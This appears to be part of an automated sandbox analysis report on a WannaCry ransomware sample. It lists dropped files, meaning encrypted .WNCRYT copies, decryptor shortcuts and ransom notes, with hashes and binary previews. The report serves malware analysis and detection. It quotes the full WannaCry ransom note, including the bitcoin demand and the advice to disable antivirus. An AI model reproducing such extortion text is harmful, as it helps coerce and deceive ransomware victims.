                                                                                                      MD5:CB21837598485782B8B467D17699E513
                                                                                                      SHA1:4CC1567372FBBAB3BBEEF40CC5300220E9929FE0
                                                                                                      SHA-256:3EC9ED41EA849FD3DC708197F28BE731A0D8D4B975112DA89B2C7A1E36646A0B
                                                                                                      SHA-512:33E257E44DC224A143EABA9A676D30AD9CCF3FC74CE866AEE24EFBC12B2FEF23F0ED5214A68507F7913EE3CC508E4319E475DAE81AB03F84763DC9C48BC7AECD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....]G.PW.i..4.5.....I7.J.y.z.z..........!Xm'%&..$...Z....1....... q~...6+.2.N[.B...W...........@7E....&6m.....%6.............+...^Xa/<.D.u...).&.=E....Tk5..z........O..cp.O.Z*}.~.g9.M...!.H...(....aY....DD..%.%....D........Q+..zo..J.1..N.....1a...... V..IM..%.V.VsL.d...k...GF....1...~.y.s...[&..fm...0.x&..$Y...y...;.|..q.....[..T.6....|.......w..Fv.b......'_m.$@...;.A.......A.#.^.^.... ..+U...}k8.....%3.u-.....g.@...KU..J./.{.T...... ).*..W.......I...rhn....Dz..g..fE.U.#.%.....o.T./...M..m...sXS....`.0R.n.C..X.J..-Qgle0..7.....'...D.8?...4X..J.R...5Q@..S...C...AH]!..>...j....&..H.UM+.M..j...O....*...-1.."8.c.>.0.&..z.....7<g..+O,..d.A*]~...c.A.9Z{...i.(.r.....m,.K.p...Z0.Hge7U.-.\....p,..O...r..n..G..%.u...p../.P`*t..2..t.ne..gy.:0...3]-.d.a..N..U..N...j..&fs..M.].Z._.....n.!4f.T. 2..Tm.X.o.E....C.....*...G...._..3.9....r..1.....;.....S.y...+.4].rWqZ..5.x.&Eg.R.T..g.+.w....R.#.W:.,..I......O.6..h.-+.....:#..O^.!.j...........

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):130040
                                                                                                      Entropy (8bit):7.998551390333161
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:dmCe2fqEf4ODIcDvJ4OExEniLzWMmahFYYt6iU:9x3IWvJ4732Kheg6iU
                                                                                                      MD5:1942DA2099DE8301ABBC93C4A7D5A895
                                                                                                      SHA1:6D94DAE37FB80D0A70A432270A5C3850C3312585
                                                                                                      SHA-256:E5C6B24586424C1FC5E1A8CDB05BD64BB6EF04F85A4DC6677340B756FCD9BB63
                                                                                                      SHA-512:CCAD35277550CA9E968A1112F4AE4466CD96F3A1BC6C5F76643081E3C68C76041AC86A8D1C899A269BD6CD874F6F63378F4B42F9C9B9B29B65063B804BD0A2C8
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v......`.."..j.t..LV....7...U.....,....3........1C..N....(.H...........8*.I{..|.".U..E5...r...@.e:L;.~.I!..+.....+,.T.....K.|.....8"J.@...U.ux.MA.....,&L.X.pt3....b..q.?....ROkI....{.1L>C.n....r...$G}yX.A..*.:p..d.v..V...j'X-.P.....L....Dq..=..R)............~.@[a........?.8..G....._..........Y&q..Y....vz.....j....f.G..i,u..@..1.".-+..F...Np..s[O+...0%j....Y.B....r.4_8IBq..K..D.................#....K.A.z.1.I.........3...N-..d.D..|7........I...'...F..{..wi../*...O..5.G,&.?."..%..W..]P...;:^.e3(.GI..<..5.....f..n..ob..c.%.\....[.yNR.T..N.Hw..bR......5..,..f..A6.g..<..Of..= <...........k..!.x>...6............\#..Z.Cz..RE.AvuQ_l..Ux....lS..U...S...p.[.g..(.<12.....6fXY....2......)..l.....&}...3%......Ux.I....)..]....ri.<.i..hVG.... ..P.......T.U.TI+.m/.s...,...p..V...P..Yy..;...7.R.?3.....q....+.QY.wU...%..0.E..%...3|.]..\.n.1..II.2...0:..$.,Z&..[. j.S8....v.1xZ.Z...i.2.T......t...5....Pn.E.....x.H....c...L...al.K..\e......6.T.b

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):44776
                                                                                                      Entropy (8bit):7.995479414223464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:JVwFztHL7lvenqEA/cbAXcctRDXVEpGR9rFVAXSbr0km:JmFF7penwHccMKLVAXtkm
                                                                                                      MD5:AD731889E873F91532BF280FFFEF10D0
                                                                                                      SHA1:ACBCBE350E99A2E7BA26C5A0AE88359AFD32BEE2
                                                                                                      SHA-256:5ED3BD5DE5A8EE3431DF2795751932BB438CE3FBB6D0B0C1722045E5AAEE06F5
                                                                                                      SHA-512:24ED4142E87772EFA8DD3E03457C1995928E0D74E60EF33D2CE9D93FD9849328E03208019B148834B7455AC1AE2B9B9B2CD3CCCC3394183425D3AF1F0B3517FA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....2.~..j._.2......5.n.X.x;6/...X...Q^...<.NrG[...C.L.1.....u1.Y.7D...`h*[....H~.{=.@.....g..A...q.R.\Wq3/.r......?...X...Y..;-.mAg....]]...N|..JH...O.....1.L..~...e9@.`?t...?..Q...X.'>...!.P.....h...pe....:....r....U..r6.l2.lz.q.<...~*..u.............B({.U..n.H$1...i>...h.t....J....K..G......y.....lbWY..^8u...G.../.9m.F...g.~.}^.....>-"!\.M.....v....!........<..*.!..v...h5..{...C..1..K..$!G0..$....A.c.+.1.dl.$....nc..?.L..H.`$..3...X.H.s.z.[....f.-.zg..2.8..,.....?.edU..P}...[z.Y...\9.h.n....h..U4...Z..T2.g...CZ.\ s...e^.....J.x.m[-}r.%k.......mG..v?........h......f..^D...V-6......G^..n.y......?.6.8....g ..,2.5N..;..)t.%J....Zn......;.d4..[54eP`c....Q..R<k9...m>I.#...8.....'..[....q.....-c.C..J.W.~.$z.e....t.C....)...d.3.]Y&.3(.F....V...x...v....Z..4.....-:.......f;.X...-........]V..w.E.4..&.k...8T.w.>.E..CH....E.....T.4.D.9..34.,..87XA...V:..'~.u0.S0i.6.z.[N.cu...h2.......~+... ...0.W.S...j=^.a.:..m$<....`......3...M'...'ot.B!....

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):29160
                                                                                                      Entropy (8bit):7.993582657331544
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:QQWxz/FSzeyYfwU8dZegHlGJLzd10WIAzGZd416I:yxja1Jeqg9zd1fIAyi1p
                                                                                                      MD5:2BF557D6667F96FE33A4DB24F8CA455D
                                                                                                      SHA1:8BDC5151A44EDBB14F58171FE302DAE645134216
                                                                                                      SHA-256:6394A2D54074D1A41C4D70F01C6144D3C30FD1B8263264DCF7D4F25EA4F80ACB
                                                                                                      SHA-512:D9DEBB5395BBB2C5D9F93779C34F42F74698B078D0C2640A136B88C2A1C165C87B013B0D6C7BC6E618FF7E948C5F45982A6E900F6F7DC6385F7D3E10F04EB3DB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p...I..|.W..'q.bgY....c..`v.@X.vG.......C....H..#..<..*......z...5...%?...Nj.m...]LI\..}p......J.. .N.;...C..`u......V#D.aj......cXW.,..y....!.........)+..%...0m..!.y.pV_.$DSj.E.=i..~..tb.....k.......r.......@=..%.. _........y..<.6....&..<W.....p......)...../.Gh...........i.......n2..'..^{dc..../.G........................h.......=..(.z.W....xd8...x...A..b..]Q..6..=.7..D..I.Qn.R......S/}.f<sJ...['.c..^.... .-..^.....q?$....][.f...Y..'Y8\N.H.&...K:....k.5E.....vC.8h...y.Xg.."Md.W.y.4..x...MI....sLQ.q..f.......`...Vs..p.<WpL.ut.j%....0...(P.o.q...]...{2.`..d.}S2U.....v.Z......y.;.......%..g?..#..;+.K...y..%...#RB..e..o.....@.%.J;.G/.......2..~...}...NI....1.{..<..E@...q%..p.Kk..q{.X..1....u .'^...............3#9E..c.S.D.a.<f.M..(.......AT.>..U.w.o...J.S.9..9/..6~.........(.(bO..7.9..p.@.a.5.I..&.5..r.4.gRi..":UP,...X+`|......]/.#Z.F..hN...cm....%.......j.2...%.a....+....;...Zjv.e.dK.._.q.;..}F.. .*T..m.|...T.........=../...%..9'

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):39672
                                                                                                      Entropy (8bit):7.995725492801387
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:9duqH0UAXYG4wegHWbVk+xljdMFSXfKtONhzFJ0pzy5i9OPV2K7Ad:juqUU4d4fyWbV5PjdpWOhJJp0wtcd
                                                                                                      MD5:3B45954E7009DD9BBB5A7A308B0F23B8
                                                                                                      SHA1:73BD4488DA8AAB126B4D86B4E27A27450C27472C
                                                                                                      SHA-256:0E508C644B93C402D5F31C517F8441D5BB666FD5F7F3332D4A5B44EECB288B51
                                                                                                      SHA-512:438B731A754E9A2DF6EACAEE1A79CEC28567A1FA3A4A34EBEB738BAA316E8E7ACBA878DE7157A16117B554EC1F7DC7FB634B41066729C81A3CE06FBDF2E98F18
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......n*fH..5...#+M7y.q...cL.^.M.A.....n..+..a....l.z*..w...;k.u..F..Y|e...M....F..0k|.R....i......>...G"...p.d...R.].R..R0%.rd.V+l..M2G..5.....Y.......g..1T...1j.i...%+.&b..%y..%......p....a..]^..2.q....k.....G8....>#.......l.+.g6!.N....u................V..|..x...(.,.]...+....q..=.g....0:.xpB....'!..[)...u.3/.T;\Tx.'...v.U.4{....P61..s.#.N2.2...)P8Z..A.w...P....|l5... .t..90..j.X.PD...Tq...X.C0.L.l<{.c.........NY...g)...!Z..\.[[.\.....r..|......p...Uhe\...EQ..i."..l.x{_......S&..|..^J.gw.@.`.j_...P.....:y@....J.h&S..t|.p.2.rO.w.5+..zX.|......)............S...7. ..v...=.4>6.}....$.....{,.i..v..v...o..heV..........~..3...1..k.."....bQ'y........Y.x.F{(..`l\..3N ..',y.....T.K.|Cpt.jZZ.tS...p.me....dt...C<,.95$y..E9.C.x.{.EYWiSS.2.....p..o.wMQ.>.o.Z...k..,..6MO..W4.....j6../y.........[..9..L....a......^.....u.h.'o...l_.d`.]...gaA.l......>&jX..~....9.@Lj%......f...=0.nN.."..n..X......Xz4W.S#......o....U.*.H.#J...vQ.v..l..v/

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):130040
                                                                                                      Entropy (8bit):7.998528189911692
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:S3z0ut7PXJniv9bCNSrJTuZeX61bzpqAfBPSAXFhWP82NB77+gE+59Gz:S3YkPAv9bA64ZrbFqAfBDXFcEyB/+O5E
                                                                                                      MD5:3766C8B03ABC4FC1112DA48CA5F4D9FA
                                                                                                      SHA1:BBF46646FEEEDB588F30B2F5621FE56C4D171268
                                                                                                      SHA-256:B9536F64289EF7A4E3F85C12B019463F1D48FC958B15E7D9215AFE8760B91D96
                                                                                                      SHA-512:E5D0EDF0B49F4CEDD493E832AF5CCD112D4E4F63964DBC8CB3FDCD7B04B8780ADB6E60EBD522F6FDF8DE9803AF5187D6701B8613A1B87BA17507D305DBA4AA38
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!............1u................}.Q$.kp.....(................8.G....3..3.............n4U+{.q....6e....[...$Y.%....G.t....(`..K...k...X....~)RG.h.-1.u..`.u....o..5.'..3....>.\4.L`%M6^...[..Nv....U.X.w.S..[LEc..e.S.I...e..w..e........R....g.@...R..................z.aJ.&..t.Y.I..M..+.....<.=...v.o.m.....Q./.....5i.GFb..W...!$2.Z..E=.s.....uM.+ ......v.b.6...9.O..z.I.%Y.. . ...Q....b.g.0.....I..@.....C....?...;f.!.u0.1.x.l?...6..T....8..g. .]..<....B......G`.....I.......b.<.........-E.e.@.....?......P...s).71../Y1..5$.e ..s3..|...._.z.E..<^..Z.......i....I...C.]..N..j'....`.h...A...I.4.7.z..A...EA.........X..I.6\v.c...P..\.~......K...!.I....h......V..x.!.CN....Q.g....j..D./C..ewe.HW..N..y..(...Tk..k$..1.SH.^..B...t..PQ...+TkJa.....Jc...[.A-..8,V)...fe`Y=.Hwo:.T@x%........&U.7.._.Hr..n`........X.A...".....T.! ..RpJ..0H..^....%eYx...*..kz...$.+...t.`^i...}.. |.@.:.p..3.O\..1SH..+..lx.A..:-.C9.E...D.>......!?....,..y.H.Z..fW..N....X...b.

                                                                                                      C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):29160
                                                                                                      Entropy (8bit):7.994237867161889
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:HvPQAz9WFPB5Z96E5F6/0oAj1TxIIZafWna3r:HvzUFpxhj1T2IZuWa3r
                                                                                                      MD5:A714FD5F895B5E876161AF8DC6EB002E
                                                                                                      SHA1:889E8F544F89CB4DE232CE417059E1907D2A9998
                                                                                                      SHA-256:839FA9D03D0DFCD1A696E46F57AA472DE2C317E661985626C426EC24938C2C0A
                                                                                                      SHA-512:B3175EE7B5147E23D596630C14ED3221B65C1F103510531F588761462077CF3FE3F658F61A4CC9D56CCD3FBA3E46F83202E1A7FD90B19312E2095F68D5F60429
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........s"..?....D...b..2...K...L...]E.p......%....(...^...s..pf.\_....C.........:.Te...K._..D_/.L....-..,.<.uJ.0~G..I........ .i......\...;/./.D..R.%.b......f.l....X.-f.&.7.>K.n.[v.....9..#.L`..#.R<I.%...b.B..M.....`.......'F..4...\......QUW.....p.......J.7_..!*.`.|.J..7..bl..-d.1`S.4p^lN-92.....>...O..4.0}...........%"#..P...2?.......C....W...Q...v..S...^.\S.2.x...[b)C.7.Q..._G.....4?G.J.A.*...].$B.c...b........Cx$.$...z..p....]...we.].8q`..r.D...x.(..Q.......xn.R{..+....6.=`.<..Y~....m&Npz..+....B...).pp....7.#...H.4"...c....n..*.'..%...._..z...@8..v..F5.W.jA..PD....I9r..5..u..f..:..j.)gA..p..)>..'?6..........|.bK=-..A........S..h.^...$..../}T..q_...C0.M....\.:......W....d..P[.7<N...s..y..V.Ef......2Bv..t.S.....O.l.]..0k5..G..8fn_>...}.5...,>..N..j....8.B........;?V)18..L..Q......v..%r.......Ci.-.....-.....\....RX..G.mP.ScQ.,..x...E..Y....R6..P..8WXc xg.*.)........f......i|.uH..Snpa.os..~....P.D.a| .-M../...bxL.b^Y.ps.~..;...

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):106776
                                                                                                      Entropy (8bit):7.998285740080886
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:OGmq0uzp0uaghbsep9vXdkn4Uw9BeJ+utkONl4:GqHF0oPpA1oBM+fONl4
                                                                                                      MD5:BC6B5DEB3194780D1D22F159663FB95A
                                                                                                      SHA1:3FD74A5BEA5DBA62CE65AA4B94D041B00F236211
                                                                                                      SHA-256:E9BB89A7E5FAE79DFF2516F50443866A55A513F04D8E90058F7E3AAB0F61AAC5
                                                                                                      SHA-512:663CDD32DBA70F0A0C37FC37B8CD96A2055C9DF2C8112FF926D6084989533D793D948658CC028C26D71C1456652C3D89C339E83028D11050D0564A8B702B8723
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....T_I..@/K.....m....uB.]"..M.?..........(X..`..;!..s..Y9........jX.i..3)Vn...Fa.!,.C+.l.Q....- .D.&d~:h.w.G...Z..N..>...>B..Y...Fn.O....##.....R.~..Z.K..d....S..QyHPNS..u............!.....b........XW..(..ut.....\....@..I.R.5..Ei..&i.....lv.0..C......................[.. 4.Yq.'..@..{...I4.................\.A..p9.PF..C.:....h.`..?....P..[s...I>...2.....h.e:i...o.....k..*G..!...'./....v ..L..\a...@...2...............%K>Hg.$Z.hI.r.a.|..s..R.X....D.dzD.]/..`@>.....QL.....&.qF.9_.c.w:<..}_]...dm.3T.p`.......^.o2..1...:@../,...@.s%s..8...!....C...0...i.o.o...../....?.(.f...C.6u.1.KiV.....Z:.y.#E>....c...~{....9u...E.N....j.b.}KR.....B..6zV....;....aZ}.,.7P.j...T.f.j.iV....~4.j...l\.sy.3.....$....K..7.r.|9...>...C........H..pI~.*|.i...+....q.#Cy.....zZ........9lwT...9o.....W4..N....2...%5..1~p=.@...1\5......Tb6#.....=..j...<GipCxQ..n....!.....F{J.vL...=r.T.`..v..\...q.b...,..b$I}b. E.C.....-..j.Q.3.h>k3C...^.3.l@G@L...1..4.....B.N.\.Q..'.1

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):33048
                                                                                                      Entropy (8bit):7.994907152432268
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:TNfhXY3jJYyQm/ACptwPun6j9ShDxaQmdf9th4rDX:xfho3jC4/xpHnEMkdflwT
                                                                                                      MD5:C5D9E5D4B20EAEB3679942E640BC6C36
                                                                                                      SHA1:C8D1F392FF7C54199017F02804ED40F888D838FF
                                                                                                      SHA-256:197354D7EDC2A71E994D1C6B2E58C41095F2B5A0B6EEE000D8834331C30FEE6E
                                                                                                      SHA-512:94AB3361D82DDA2606C2E868BC3267FAC9503C2E2F622BCF3FA20AE3244972D52D79E60C86A8CB8862D9C6D88D77D3568781D1EAC318B175546BF38679C4C69B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....e.$..[&..4.....3.}.&.+....#s..d...E3.n.\#..Nc.&..k.UA..YV.A.^y..3.%....W}nA..9.j\5 .U..`h.&q..G_.....j..b...i5.l......1.X....V...!.4Y...[!.D...f.....0\..p.(..'.Y.n.q4...b.'..J.;0WG.@..D.....H..~.8..Yt..V.?.H.....=.....<..\...1. ...h.whl.T..e.GB............<....C....IJc.N..x.D....y.X.2....02...)9.......@.W....-..:..C..7......q..51.d.p....n]...7......P.0....kAG.?.8B....u...A.z8x..$_#GW....^T..`=,.z..+`.<.:...oyqm.D..7.D.t~...kq..%l..U.].o.x^...X..#...t5..v.P.....-........x>..T..a.)&...#f...M...#....V.a..,.l..Oj._...l.iX..Q./..'d.W. .d..a.a,`......c)..0.+..I..4/x..d....Ki.7..A.2..g.$#.h.......2..GD...X.....6...M.P.......N.......@b.}....5j".....Y..p./.._7.L]....'..I.r.. .....4?.s=....A.*...c.f$.........g.R.D.U.AP..5.ns7..,XP.........p..g..].....4R.%...J/..H.r..).N.I].v;i....5..U..^.~6l.G. '....5XR..~F..^..r....m....vj.0.pp.H......l.........>.k.#...iv......8.a......[.p+.,...M......Cm3.}..<...o......u*..f.;......hP.|c.0..A.w.K=..T7.s

                                                                                                      C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):28952
                                                                                                      Entropy (8bit):7.993725968817009
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:fP+9fe6pwNGIkHKBnTiQEo///zqQZK3Ttt5O443sSLX72XptQ1Gm8zT9WuFEQfGi:eQ3r6KJTPhGDssST72YT8vLqQfr3
                                                                                                      MD5:39B65BFBA57DE6CDB8D6571E46D3F70A
                                                                                                      SHA1:76F5CBFB7676837E1CB0976D2D4C04250A74E0CD
                                                                                                      SHA-256:1626A8B0B7CF2B74BFCCA24FA87959AB9DFF88DF06223771837A34F1A5C64216
                                                                                                      SHA-512:03D521FAF88598F91EE3D7C17AFC26CF1690942BCDBBC423249C98261D63BFAB70572C14ABE3263153FF90A9A1750CC2A9080D2AB5408AD466875F7E578BCA48
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
